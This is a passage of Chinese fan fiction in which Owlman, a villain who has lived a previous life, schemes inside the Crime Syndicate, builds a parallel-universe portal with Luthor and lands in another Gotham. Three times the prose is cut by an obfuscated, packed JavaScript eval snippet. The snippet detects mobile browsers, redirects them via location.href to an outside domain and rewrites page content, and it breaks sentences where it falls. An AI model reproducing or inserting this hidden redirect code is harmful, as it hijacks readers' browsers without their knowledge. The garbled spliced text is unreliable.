但我也不知道他在同情些什么。这世上悲惨的事情太多了,没法一一去衡量。 “夜枭。”他咧着嘴边笑边说,“你真不应该让那个孩子参与到我们的游戏当中。” 迪克被我毫无预兆地扔下去时,连惊叫都没有。 我耳边只有熟悉的、和人类质量等同的物体,穿越空气向下坠落时发出的呜呜声。 我开口道:“这和你无关。” 小丑道:“他不是你那满手肮脏鲜血的走狗。他还是个孩子,他会是个好孩子。” 这话还轮不到他来说。 不用他说我也明白。 他自顾自地同我对视:“你不想这样,我知道你不想。” 他语气里有某种令人不适的情感,我心中陡然升起怒火。 你能知道什么?你知道这个世界肮脏又疯狂?你知道你、我,我们所有人都是一群冒牌货,是披着人皮的野兽吗? 你都没见过所谓真正的正确正常正义,你凭什么说你知道? 我披风下的手按在了腰带上。 雨太大了。 我想下杀手。 小丑接下来的声音被大雨淹没了。 “……我猜得到真相,我猜得到你为什么控制哥谭。” 他双肩抖动,仰着头狂笑不止,又被涌进鼻腔的雨水呛到开始断断续续地咳嗽。他鲜红色的嘴唇扭曲着翻卷着,最后定格成一个滑稽的笑脸。 “但你做不到的,你没法控制所有人,你不能改变所有人。” “这世界就是这样的,夜枭。你只能选择拥抱它,或者远离它。” 小丑说:“别让你爱的人再因爱你而死。” ** 卡尔听到了脚步声。 几秒钟后,夜枭推开会议室大门,把手旋转发出清脆的声响。 正百无聊赖打发时间的犯罪辛迪加成员一齐扭头看过去。 强尼快客和原子女甜甜蜜蜜地挤在一张椅子中,后者坐在男人的肩膀上,前者则翘着腿、冲这位刚进门的新同事扬起下巴:“看看是谁大驾光临了?拜这位在约会中迟到一个小时的美人所赐,我早上的犯罪计划不得不暂时搁置,你最好值得我牺牲的美金。” 言语挑衅没有得到回应。哥谭统治者砰地一声关上门环顾四周,嘴角抿住,面具没有覆盖之处显露的表情比卡尔上次见到他时还要阴沉。长桌下方,神力戒和夜枭短暂地对视,然后受到惊吓般地往靠背里缩了缩身体。 超女王舔了下嘴唇。 她脑海当中肯定正在产生一些不太和谐的想法,卡尔寄希望于她不会很快把想法付诸实际。 夜枭没理会他们神态各异的注视,径直走到卡尔左侧,在超女王对面给他留出的位置坐了下来。此时距离超霸被挂断电话的时间没过去多久,他从哥谭带来的雨水还没干,顺着披风在昂贵的地毯上留下一道湿漉漉的水痕。 但夜枭尚未回应强尼快客之前的质疑。 他不能也不应该在这群人面前显得软弱,否则豺狼就会盯紧他的弱点,时刻等待时机——除非他像是神力戒那样,越是恐惧越是能发挥出力量。 卡尔正琢磨着这个问题,就听见夜枭问:“多少钱。” 他愣了一下,没反应过来这是什么意思。 显然,夜枭的询问对象强尼快客更加没反应过来。这位中城罪犯傻乎乎地道:“呃,什么?” 超女王看看夜枭又看看强尼,露出要笑不笑的神色。 “我问你,你早上的计划值多少钱。”夜枭不带感情地道,“我买了。” 强尼和原子女面面相觑。 然后不到成年人巴掌大的女性反派皱起脸,纠结地问:“我们要抢银行,你付得起?” 卡尔:“……” 超女王更刻薄一点,她笑出声了:“噗……抱歉,我不是故意的,你们继续。” 强尼感觉到露易丝在嘲笑他,愤怒地拍了几下桌子:“嘿,我们没有在开玩笑!谁来回答我的问题,这个猫头鹰佬到底是什么人?” 夜枭语气不变道:“我可以买下银行,取决于你想要哪一家。” …… 卡尔看不下去了,超女王看热闹的态度实在太过明显,八成是想让这群人打起来,好挑出实力更合她心意的那个。但问题在于卡尔今天不是来看自己的同盟打擂台赛的——开会临时征用的这栋房子位于大都会市中心,获得它的手段明显不够正当。 要是毁在自己人手上,他们就得辛辛苦苦想办法再搞来一栋。 然而,卡尔觉得自己去抢劫,可能还没有夜枭出钱买下来来得方便快捷。 资本主义社会真是太残酷了。 强尼快客是前车之鉴,氪星人吸取教训,一点也不想去自取其辱。 谢谢你,强尼。 卡尔颇为友善地开口解释道:“他确实可以。他,呃,非常、特别有钱。” 他一连用了两个不同的形容词,暗中给强尼快客传达提示。 超女王也在桌子底下悄悄把一沓资料塞给对方。 强尼和原子女大小两个脑袋凑到一起,低头看了半晌。 五分钟过去。 没人说话。 不知道是不是在数资金链上零的数量。 ……好吧。 旁边一直低调做人的死亡风暴清了清嗓子打破沉默,问道:“我听说辛迪加还有其他成员?” “但在场的几位就是核心。” 超女王笑盈盈地回答,“我们强大,所以我们值得更多。” ** 今天会议的主题是讨论征服地球的初步计划。 我来之前没报什么希望,事实果然也不出所料。这群人个体实力远超常人,但性格各有各的缺陷。超霸冷酷无情、崇尚实力又极其自我;超女王善于玩弄人心,喜欢使用诡谲阴险的手段进行筹谋;强尼快客傲慢自大;神力戒软弱贪婪;死亡风暴缺少感情;原子女对强尼快客的爱又过于充沛了。 至于我,我加入他们的目的并不纯粹,眼下还在观察期,可以算作半个摸鱼党。 幸好老板不是我,我才能坐在会议室里,面对菜市场一般的交流场景优哉游哉地旁观。 而第二个能做出改变的超女王注意力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064575|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全都放在我身上。 卡尔,辛苦你了。 但上帝才有怜悯之心,夜枭没有。 两小时之后,这场见面会无疾而终。磨合初期进展缓慢是很正常的,大家表情悻悻然,不过看在超霸的武力值和面子上也没有抱怨什么。 我估计这样的混乱仍要持续一段时间,而想要结成完全互相信任的联盟是不可能的。我们大约到最后也就像是同盟国一样,各怀心思地往不同方向攫取利益,淘汰掉那些掉队的势力,还要提防内部成员以各种清奇理由反水互殴。 这就是反派的局限性。 我们深知自己是个什么德行,便习惯于以最大的恶意揣度同伴。 会议结束,我收回发散的思维,像每个在课堂上开小差的学生那样若无其事地起身,准备回去哥谭。陌生城市与只在资料中见过的陌生同行令我精神紧绷,还是熟悉的环境更加有助于舒缓我被小丑刺激到的心情。 但我没能走成。 超霸和超女王同时叫住我:“夜枭,你留下来/你稍微等下。” 我脚步顿住,心中充满了不情愿。 卡尔大概觉得我今天划水划得太过明显,我可以把锅推给小丑。 至于超女王,她看上去想约我去进行某项床上运动。 认真的吗,我还以为她和超霸有一腿呢,而且她甚至没见过我的脸。 ……仔细想想,这说不定是个三角关系。毕竟这里是美国,不是,美漫世界。 我没有发展办公室恋情的打算。 然而超女王看上去是个不达目的不罢休的人。如果我拒绝,她说不定会像小说里的霸道总裁那样想:男人,你引起了我的注意。 另一边,超霸抱着手臂面无表情,蓝眼睛宛如北极冰川上的天空,每一颗氪星细胞都在表达自己的不满。 我没打算发展办公室恋情,但我仿佛确实陷入了一段莫名其妙的修罗场。 而且是找不准自己定位的、很复杂的那种。 我试图敷衍过去:“我还有很多工作。” 我热爱工作,997使我快乐,放我回哥谭,我要回哥谭。 “别那么无趣。”超女王走过来揽住我的肩膀,她毫无疑问是个相当漂亮的女人,“你就只会和钱与死亡打交道吗?” 卡尔则有些烦躁了:“我们要谈正事,超女王。” “夜枭可是你极力推荐的对象。” “但我也没让你今天就去和他上床!” 我表情麻木:“你们对我站在这里浪费时间损失的金钱数有概念吗?” 超女王挑起眉,后退半步:“算了,夜枭,你就去陪着这个小男孩吧,省着他因为失去刚到手的玩伴就哭鼻子。” 她和超霸交换了一个面颊吻。 临走前又风情万种地抛给我一个媚眼。 被留下的氪星人仍在生气,却没什么办法。 而我站在原地,完全没有那种世俗的欲望。 “现在你可以说正事了,超霸。” 天光大亮时我才回去哥谭,而且身心俱疲,时隔多年再次体会到加班社畜的辛酸。 这并不是指卡尔这个老板有什么拉低本宇宙平均水平的地方。 他虽然缺点很多,但对待我这种态度不端正分子时,相对还算好相处。 我以为他更多会质疑我的忠诚度,但他没有,不知是出于自信还是其他。 略过我们互相试探、互相威胁、互相嘲讽的对话,再忽略我们差点又一次大打出手的危机时刻,提炼总结出中心思想,那就是我升职了。 我在这个犯罪者联盟中,拿到了设定目标、布置计划、调遣兵力的总指挥位置。 话虽如此,我并不是从此就能顺利地指使那群行事无所顾忌的同事。在我们联盟中,人际交往单纯又冷酷,只有压迫和被压迫、支配与被支配的关系,就像狼群,每位成员都得通过丛林法则竞争到自己的地位。 超霸放开的是一种权限。 他未必信任我这个人,却信任我的能力……或者说很有自知之明地认为自己不擅长某些方面,因此决定由他来做幕后总裁兼打手,我来出任CEO。 说实话,我看到了我螺旋式上涨的工作量。 可也不是没有好处。 它能加快我掌握实际权力的速度。 而只要我攥住辛迪加这组织身上的缰绳,就可以爬得更高,看得更远。 ——小丑至少有一点说得对。 这世界就是这样的。 委曲求全的苟活亦或是走投无路的毁灭,我两条路都不想选。 我一定要跳槽。 辛迪加成立的三年后,我认识了莱克斯·卢瑟。 据我所知,他也在研究平行宇宙。 5. 我的同事们 卢瑟这个人的立场不太好判定,他有自己的行事标准。 所有试图以好/坏两种绝对性的标签为他行为做注解的人,最后都被现实打脸了,因此直到今天,他甚至算不上辛迪加的编外人员,我同他合作属于外包。 这个人的智商和他的忠心程度成反比,他头发的茂盛程度也和他在科研上的钻研精神成反比。我一度觉得像我这样起早贪黑的社畜早晚猝死,而像卢瑟那种读论文下饭的天才迟早秃头。 但我没死,他也没秃,可见美漫世界确实是不讲究常理的。 我和顶着一头令英国男人羡慕的飘逸秀发的卢瑟先生暗中合作了很多次。 最开始他以为我背后站着卡尔,过了半年才相信我找他合作确实是出于个人意愿。又过了一整年,他才逐渐不再惊讶于超霸对此毫不知情。 我实在不知道说什么好。 这几年我在卡尔手下绝对称得上勤勤恳恳鞠躬尽瘁。毕竟最开始目的是将辛迪加大部分权力掌握在自己手中,所以事必躬亲从不假他人手。 后来就逐渐上升为一种强迫症。我习惯了,我同事也习惯了,他们看看在我暴政独|裁下秩序井然的哥谭,又看看我在辛迪加时的行事风格,觉得毫无问题,是夜枭本人没错,这很合理。 于是我见证了我的同事从一开始对我的不信任,变成现在基本不怎么动脑子的状态。 我是说,就算团队里有人负责策划了,他们也不能把自己天生长在脖子上的器官忘在家里吧? 外人眼中的辛迪加是强强联合,全员恶人,终极反派,未来地球的统治者。 身为当事人的我只能看到他们逐渐躺平变成咸鱼。 没有人能抗拒盐分。 我管理哥谭是因为我姓韦恩,是因为我被早逝的父母,是因为布鲁斯。 我加入辛迪加的目的并不单纯。 这两件事其实并不能证实我的强迫症,我的龟毛,我的完美主义,我对秩序和某种隐形正义的追求。都说人是多面的,用区区两项工作来分析一个人的性格难免产生误差。 但我后来仔细回想,我穿越以后命运的天秤上只有两份重量,一是哥谭,一是辛迪加。无论我怎么否认,是我造就了它们,继而它们构成了我。 我生命里就只有这点简单而又浅薄的东西,它们打碎我的骨头融进我的血,也难怪别人以为我生来就是这副面貌。 说了这么多其实我的意思是,看到我的同伴们放弃治疗直接躺平,我偶尔会想起过去的自己。 风水轮流转,小组课题里总给大佬做腿部挂件的人,早晚有一天会遇到比自己更咸的组员。 回到刚才的话题,辛迪加在旁人看来是庞然巨物,卢瑟眼中的超霸和我眼中的卡尔同样区别很大。 卢瑟想不通我是怎么在瞒住卡尔的情况下同他合作的。 但事情非常简单——某次行动里我们抓住卢瑟属下未收干净的尾巴,别人忙着搬运物资的时候,我就复原了他电脑中的研究记录。 其他人八成看不懂,找回数据也没用。而我目的在于跳槽,这些年来一直在深入探索相关领域,很容易看出卢瑟不仅试图研究平行宇宙,还比我在这条路上走得更远。 当时超女王走过来问我在看什么。 我坦然回答她是有关于平行宇宙的数据,遭到她带着点亲昵口吻的嘲笑:“自我认识你到现在,你关注点从来都这么没意思,夜枭。” 我告诉过他们我的真实身份,不过这种场合大家还是习惯于称呼代号。 卡尔飞过来把她拖走,表示专业的事情让专业的人来做。 于是辛迪加全员都知道我对这方面感兴趣。 强尼快客重温旧业(指抢劫)的时候,会特意帮我留意有没有相关文献。 死亡风暴过去是个科学家,时不时也会同我聊点物理学知识。 我根本没做掩饰,只是我的同伴们永远想不到我究竟为什么要研究平行宇宙。 要知道穿越前我对这种高端领域的科研知识还停留在听键盘强者追牛的阶段。 最开始把目标放在‘可能存在的平行宇宙’上,只是种下意识的选择。 我同这个世界,就像一个普通人走进疯人院,互以为对方不正常。如果我没有上辈子的记忆,说不定会以为人性本就邪恶,伦理道德虚伪又无聊,善良和正义更是无稽之谈,会有这种想法的我一定病得不轻。 随着时间流逝,随着我的融入、成长和改变,我愈发需要某些存在来证实我的记忆不是一个孩子在空虚时产生的幻想。 我需要平行宇宙真正存在,它即将证实我人格的一部分并非空谈。 否则,夜枭的面具底下就只剩下虚无。 幸运的是,这辈子地球上的科技水平不是那么科学。 听上去很奇怪,但我要再强调一次,我活在一个美漫世界。 它的特点就是能让牛顿愤而掀开棺材板,爱因斯坦看了都要满头问号。 某天,卢瑟联系到我,说他解决了量子去相关的问题。 我当时正坐在韦恩庄园里给理查德辅导数学。这孩子没正经读过书,但聪明得过头,让我不由得产生了义务教育普及不到位的惋惜,给他买了成堆的教材填充头脑的同时,他遇到问题我会挑出空闲时间统一解答。 而且他现在已经是个少年人了。虽然不可避免地参与到我统治哥谭的事业中来,变成别人眼中夜枭的跟班,但我还是希望他能在成为‘鹰爪’之外,拥有一点脱离泥潭的知识与智慧。 至少别人看到他,会觉得他是个前途远大、学识丰富的年轻人,而不是死有余辜的犯罪分子麾下的打手。 他最不该了解的就是如何杀人、审讯、追踪和恐吓。 偏偏迪克总觉得只有学会了这些才能帮到我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064576|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——他不明白,这恰恰是我最不需要的。我本人相关知识过于丰富,并不想他来帮我重温学习过程。 养孩子的过程简直就是斗争史。 说来艰辛,我和理查德不知道该说兄友弟恭还是父慈子孝了这么多年,才终于大致体会到我上辈子的父母的感受。 这辈子就算了,再说一遍韦恩夫妇你们没有心。 我终究没能让理查德彻底远离我见不得光的事业。 他那么努力地试图回报我,我不知道是因为他将我当做值得信任的兄长,还是因为以这个世界的常理、从来没有无缘无故的善意,所有命运的馈赠都在暗中标好了价格。 我希望是前者,但理智分析,后者的可能更大。 他说不定会觉得如果他做得不够好,我不仅会放弃他,还会将我在敌人身上做过的事在他身上重复一遍。 这并不是胡乱猜测,实在是他有时候对待我的态度过于敬重和小心翼翼,让我搞不明白阿尔弗雷德在我不在的时候都给他灌输了什么乱七八糟的信息。 再加上我这些年一直很忙,我们见面的时间越来越少,迪克每次在正事之外和我相处都显得有些不自然。考虑到他的年龄,我又怀疑这可能是因为青春期。 反正我和他这一次的教学过程,就是在他既热情又显得有点尴尬的单方面捧场中进行下去的。 卢瑟的通讯给了我一条台阶下,让我得以有理有据地暂时中断教学,给他缓和情绪的时间。 ……但理查德看上去居然还挺失望!刚才那么紧张的人是谁啊? 我和年轻人的思想之间一定隔着马里亚纳海沟。 紧接着卢瑟就告诉我说,我们探索平行宇宙过程中遇到的困境已经被解决了。 “传送装置的最终测试稳定下来了,夜枭。” 他的声音显得振奋又得意,在我耳中甚至有些模糊不清。 “别管辛迪加了,这是本世纪最伟大的发明!你应该立刻过来看看我……我们的成果。” 居然真的能成功。 这一刻我都有点怀疑今天是不是愚人节。 我的重视程度影响了我的判断力,总有种飘忽不定的不真实感。 说到底,我又怎么确定卢瑟找到的所谓的主宇宙,和我们的世界并不相同呢? ——而且什么叫别管辛迪加,我又不是每天都在给人收拾烂摊子。 就在我短暂迟疑的时候,理查德抬起头疑问地看着我,用口型问:超霸? ……好吧,我的社交圈确实比较单调。 我比了个手势让他不用管,而后独自走出房间和卢瑟商量后续。 余光瞥见理查德坐在书房里垂下头,继续翻看手里的教科书,圆珠笔在他指骨间流畅地旋转翻滚。我知道给他一把刀片他也能玩的这么利落。 回过头我对卢瑟说:“你等一下,我现在就过去。” 6. 迈过镜子 我冲出家门的时候头脑发热,坐上飞机后就冷静下来了。 我意识到我现在着急毫无必要,跳槽就像搬家,需要准备的工作如山如海。首先,卢瑟未必可信,他制造的设备必须经过检查。其次,如果有可能的话,我希望能够得到另一片宇宙的基本信息。 以上都是次要的。 最重要的是,我该怎么处理我在当前这个宇宙的工作。 直接和超霸说我辞职不干了肯定不行,辛迪加毕竟不是个合法组织。 而且我又不能将哥谭扔下不管。 如果直接失踪查无此人,怕不是第二天我的同事会为谁可以分得更多地盘大打出手,第三天他们能搬空我的金库,第四天剩下的钱有多少购买力取决于通货膨胀的程度。 退一步讲,我可以不管哥谭和我的属下,总得带着理查德与阿尔弗雷德。这两个人为行动增添了很多变数,如果想要没有后顾之忧,还必须解决卢瑟和他留下的数据,让发现我跑路的同事找不到人。 我没料到卢瑟科研效率如此之高,眼下准备还不够周全,顿时产生了网购下定金却发现两月后发货的焦灼之感。如果我再疯狂一点并且毫无牵挂,可以干脆在穿越世界前发射核武器,立刻能将身后事打理得干干净净毫无纠缠,这样做甚至还有另一个好处,即是假设我发现平行宇宙同样不合心意,就可以重复以上步骤,拽着所有人一起下地狱。 我会产生这种思路,说明我确实融入得很彻底。 但也只是想想而已。 我得始终记得自己全部行为的根本目的——是为了更好的活着,而不是寻求无节制的死。 否则我不知道我为什么还站在这。 如果我真的有朝一日做出极端选择,就是在完全看不到希望的情况下,我心中的怪物已将我杀死。 那时,小托马斯已经死了。 我越觉得剥夺生命如此轻易,越应当牢记它的重量、和我手上洗不清的血。 ——我开始考虑和卡尔请个无理由长假的可行性。 但直到我驾驶飞机停到卢瑟的私人停机坪,也没想出来这个方案具体如何实施。 反倒是下飞机的时候卡尔主动给我打来电话:“托马斯!”现在是白天,他语气难得听上去挺高兴的,“今天晚上有聚餐,地点是大都会,你可以现在过来。” 我皱起眉捋了一下自己的时间表:“我没有收到邀请。” “不是正式晚宴,只有我们三个人参加——你,我,和露易丝。” 这倒是挺稀奇。 我和他们俩合作了这么多年,工作之外不可能一点私人交情都没有,但更多是露易丝单独邀请我或者超霸,我们三个人在公事之外聚在一起的次数屈指可数。 毕竟,就算超女王的情商与力量使得她完美处理了她交往过的无数对象、以及比正式男朋友更多的露水情缘,依旧没能弄清楚我们之间那扑朔迷离的三角关系。 各种想法在我脑子里面转了个圈,我不知道卡尔和露易丝有什么目的,本着多一事不如少一事的精神回答说:“我就不去了。” 卡尔明显没想到我会拒绝:“为什么,你今天不是没事吗?哥谭又怎么了?” 他的语气和卢瑟提起辛迪加时有异曲同工之妙。 我说:“与哥谭无关。我有点私事。” “……” 几秒钟的沉默过去,卡尔震惊又狐疑地问:“你现在在哪?” “……一个私人实验室,你问这个做什么?” “我——露易丝让我监督你,她说你研究的东西太危险,说不定哪天被辐射弄死了我们都不知道……” 电话另一端传来女性声音的怒骂:“卡尔,你这个蠢货!这不叫‘监督’,我只是让你提醒他!” “我看我的意思和你差不多。”超霸连捂住话筒遮掩的意思都没有,就那么一边和我通话一边同超女王吵起来,“而且光提醒又没什么用,我们提醒政府不要反抗辛迪加,他们什么时候听从了?” 露易丝:“这是两码事!” 卡尔:“夜枭需要防患未然!我见过那些被氪石辐射影响的人,他们先是大出血,然后就死了!” 露易丝:“得了吧卡尔,你根本不知道他乐趣在什么地方,你就会惹他生气。” 超霸似乎被激怒了:“那也比重伤不治好得多。”他强硬道,“这件事由我负责,超女王,是你先把沟通的任务交给我的。” 他妈的。 怎么就快进到重伤不治了。 这俩人吵得忘我,完全忘记我在这边旁听。 之前说过卡尔这些年过得顺风顺水,我并不是在夸奖他。氪星人的天赋使得他出生以来游刃有余地面对大部分险境,迄今为止都没遭受过社会毒打。他不知道什么是挫折,什么是失败,什么是痛苦、绝望和对死亡的恐惧。 虽然超霸亲眼见到过别人的苦难,但他无法感同身受。 唯一一次例外是我在和小丑交锋的时候受了点外伤——绝对不严重,也就和做饭割到手类似,比我当年初出茅庐技巧不熟练被□□逮到、又辛辛苦苦逃出来时程度差得远。自从我稳坐高位,时刻有人愿意为了权力和金钱替我赴死,就很少会遇到必须亲身上阵以命相搏的大场面了。 不巧的是,第二天我和卡尔有点工作上的交接。 当时他看我的眼神,让我觉得自己已经半只脚踏进棺材,随时可能去和死神来段贴面舞。 事先声明,我是绝对不会主动在同事与外人面前袒露任何弱点的。那天我思维清晰、行动流畅、气息稳定,超霸发现我受伤只是因为他的鼻子闻到了房间里不该出现的血腥味。 他第一反应是我刚杀了人过来。 我其实应该顺着他的话承认。 但我那天根本没想太多——作为美漫世界的超级反派,谁还没翻过车呢?受点小伤又不是什么丢人的事,神力戒每天都在被自己戒指压迫着打黑工,不是也哆哆嗦嗦地成为了一方老大。 结果万万没想到,在卡尔眼中,辛迪加成员和普通人是两个物种。 普通人受伤甚至死亡是正常的,放在我身上就很不正常。 他从此打开新世界的大门。 同时让我莫名窝火,实在非常想把他揍一顿。 ……于是我把他揍了一顿。 从那天起,我们之间的关系就缓和许多,老祖宗说不打不相识果然很有道理,不枉我针对氪星人的弱点研究了这么多年。 说回现在,我和露易丝都同卡尔切磋过。不过我们毕竟是同事,为了面子情谁都不会下狠手,以至于现在卡尔虽然知道人都是会死的,却不知道会怎么死。 他偶尔就反应过度。 而我身为辛迪加唯一一个没有超能力的普通人,他看到什么或常见或离奇死法都会条件反射地在我身上联想一下,再由我这个能威胁到他的人上升到他自己,格外居安思危。 大概夜枭居然会受伤——而且不是因为同他或者超女王内斗——这件事给他留下过经年不散的心理阴影。 道理说得通,我理智上理解。但感情上,我希望我跳槽前有机会让他知道,氪星人被套了麻袋流出的鼻血确实也是红色的。 我打断他俩的争论:“超霸,我近期都没有时间——我要请个长假。辛迪加有什么事等我回来再说。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064577|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >电话对面陡然安静下来。 我这时已经走到了卢瑟的实验室。他正围着台机器打转,听到动静漫不经心地抬起头看我一眼,意识到我没挂断电话之后耸了耸肩,主动给我让出近距离旁观的位置。 我耐心地等着电话里这段沉默过去,边走到电脑旁翻看卢瑟计算机中的记录。 半晌,露易丝柔声道:“你知道卡尔没有不尊重你的意思,托马斯。” “和这无关。”我心不在焉地回答,“我真的很忙,如果没有其他事,我挂断了。” 卡尔道:“夜枭,你在哪,我现在就过去找你。” 卢瑟的屏幕上出现一行文字,是他在问我:你想不想看看试运行的结果? 只是试运行而已,我们两个研发者都站在这,随时能够中断连接。卢瑟珍惜自己的性命,他的风险把控做得很到位,理论上不会有危险。 而且我需要平行宇宙的详细数据。 我对卢瑟点点头,同时回答超霸:“你找不到,卡尔。我近期也许会出远门,但不意味着哥谭会脱离掌控。” “如果有人在我离开时打我的城市的主意,”我面具下露出微笑,意有所指道,“回来之后,我需要和那个人好好‘谈谈’。” 这并不是说我今天就迫不及待要用卢瑟的原型机进行尝试。让我信任卢瑟不如让我相信超霸没什么坏心眼。 我只是口头上为以后的行动做个铺垫,顺便观察下假设我短期离开,会不会有人胆敢妄动。 我坐上今天这个位置,是实打实杀出来的。 希望没有人天真地对此抱有侥幸心理。 ……但我可能穿越时间太久了,居然忘记这句话还是个Flag。 我话音刚落,卢瑟忽然拧眉,神情严肃地看向我所在的位置。 “你的磁场……”他喃喃地说,“怎么会和空间波动产生共鸣?” 情况不对,我下意识地按到身边的能源制动键。 整个实验室顿时跟着暗下来,只有应急指示灯闪烁着绿色光芒。 按照常理,这是停止设备运行的最有效方式。 但我和卢瑟谁都没有放松,事情仍未解决。 我意识到,那台传送门正在以我和它之间的中点为轴心,像宇宙中双子星那样持续运转。卢瑟说得对,是我身上的某些特殊之处同它产生了共鸣,以至于在没有能量供应的情况下,通往平行宇宙的通道仍旧缓缓向我敞开。 仿佛一个默不作声的邀请,且带有异样的吸引力。 这不是你想要的吗? 白色的光芒闪烁着,我心底有个冷冰冰的声音在发问。 你欺骗不了自己。你清楚你所做这一切不单纯是为了理查德·格雷森。 ……反正最糟糕的结果不过是死亡而已。犯罪巷那天起,我的生命一直是我手头上最不值钱的、为达目的随时可以牺牲的东西。 这一刻,我动也未动,心中异常冷静。 下一秒,我眼前昏暗的实验室消失了,取而代之的是漂浮着云朵的蓝色天穹。 我发现自己被传送到了另一个宇宙的高空,下方缩小成黑色方格的城市分外眼熟。 是哥谭。 如同穿过一面镜子,走到相似但不相同的地点。 呼啸的风中,我被黑色的披风包裹着,向下坠落。 这颗星球敞开胸怀对我拥抱。 她说:欢迎来到新世界。 恭喜你,又一次活了下来。 …… 只是不知道这里高空抛物是否犯法。 当我像鸟类那样滑翔着、跌落进哥谭市某个角落的垃圾桶时,心中想道。 7. 在垃圾桶中 阿尔弗雷德很早的时候就知道,小托马斯·韦恩少爷同其他孩子不太一样。 最开始他还不太懂得掩饰,也不需要掩饰。韦恩夫妇继承的姓氏和这栋老宅能够保护在其中居住的任何人,不管他是犯罪者还是天生的疯子。在托马斯少爷短暂的童年里,阿尔弗雷德认为他是在以一种旁人想象不到的视角观察这个宇宙,也因此,托马斯少爷感受到的是常人不能理解的恐惧。 阿尔弗雷德没能揣度到更多。 在小托马斯意识到自己与众不同时,就像初次走进荒野的幼狼,他开始学会警惕与掩饰,对象包括自己的父母和兄弟。布鲁斯少爷同托马斯少爷关系还不错,而这并不是件好事——至少在阿尔弗雷德看来不是。这种难得的正面关系造就了一场悲剧: 犯罪巷里,托马斯少爷亲手杀死了他唯一在乎的人。 经年累月的、对异常的畏戒使他举起枪瞄准韦恩夫妇,布鲁斯在最后一刻冲上去挡在他的父母面前。枪声响起,阿尔弗雷德第一次也是最后一次见到托马斯少爷彻底失控。 从那天起,他带上猫头鹰面具,以夜枭之名成为一个沉默的殉道者。这场悲剧打败了他,也成就了他,正如恐惧最初使他软弱,在更久远的未来里则使他远超常人的坚硬。 他同阿尔弗雷德真正建立彼此信任的关系就始于这场交易。管家已经习惯于站在他身后,为他处理那些见不得光的工作,唯一的问题在于,托马斯·韦恩在少时展现出的不同之处,到现在仍未彻底消失。他时常表达出的对布鲁斯少爷的怀念,更多像是一种臆想、一种寄托。他们两个相处的时光如此短暂,而布鲁斯的人生戛然而止,反倒给了托马斯更多想象空间。 他任由自己的记忆塑造出一个他理想的兄弟,并以此支撑那具躯壳继续如常运转。 管家有时看他维持着违背人类本性的、堪称冷酷的理智,岌岌可危地挣扎在自己内心与真实世界间,乃至于生出几分恻隐之心:“您不想尝试一种更轻松的活法吗,老爷?” “我想过。” 当他问起时,夜枭简短地回答他。 “但思想比时间更固执。” ——直到现在,阿尔弗雷德也不知道,在当初那个孩子眼中,人类究竟应当以何种面目生存。 ** 超霸来到韦恩庄园时,是阿尔弗雷德接见的他。他们彼此闻名已久,却是头一回面对面。两个人在大门口隔着铁栏对视,卡尔握着拳头前来兴师问罪,表情很不好看。 阿尔弗雷德不由想到,小托马斯老爷在处理超霸相关的事情上,决策同样很有意思。 他们稍微讨论过这个问题,而夜枭回答得模棱两可:“我在考虑做一个尝试。” “您的观点是?” “人性是可以被塑造的,阿尔弗雷德。卡尔婴儿时被送到地球,他的养父母肯特夫妇是一对强盗,受到他的威胁不得不收养他、给了他人类的身份。他们彼此憎恶,最后卡尔在七岁的时候亲手埋葬了他们。” “我很遗憾。” “这没什么。问题在于他缺乏教导——关于人性的基础:学会畏惧,和一点微不足道的同理心。” 这是个陌生的课题,管家先生又觉得不是很意外:“有趣的结论,氪星人的确是个特殊样本。”这是超霸与托马斯老爷的共通之处,他想道,他们都永远遇不见自己的同类,“您觉得您可以做到吗?” “不。”夜枭回答,“我只是随便讲讲,阿尔弗雷德……” “生活已经够无聊的了。” 以上并不是一段正式对话。 阿尔弗雷德之所以将它从脑海中翻出来,完全是因为超霸现在看上去确实和别人口中评价的不太一样。 但仍然不好相处。 “老爷失踪了?”老管家在氪星人严厉的视线里挑起半边眉毛,“我想他应该还活着,不然离开前至少会留下遗书。” 卡尔冲他咆哮:“你是他的仆人!告诉我他会在哪!” “我不知道。”阿尔弗雷德轻飘飘地说,“真正的秘密他从来不告诉任何人,包括我。” “你——”卡尔伸手拎住他的衣领,居高临下地俯瞰他,“夜枭失踪前留下警告,不让其他人擅动他的城市。” “原来如此。但看上去,您恰好正在对他的临别留言不屑一顾。” 卡尔阴沉地道:“如果他死了,哥谭也没必要留着,我会接手这里。至于你,应该清楚没用的人会有什么下场。” 他面无表情地放开手。 阿尔弗雷德抬起手整理自己的衣领。 片刻,管家道:“那么容我疑问,您到底为什么急着寻找他呢?”他审视着氪星人,“他如果死了,对您来说好处更大。” 卡尔绷紧身体,同阿尔弗雷德对视。 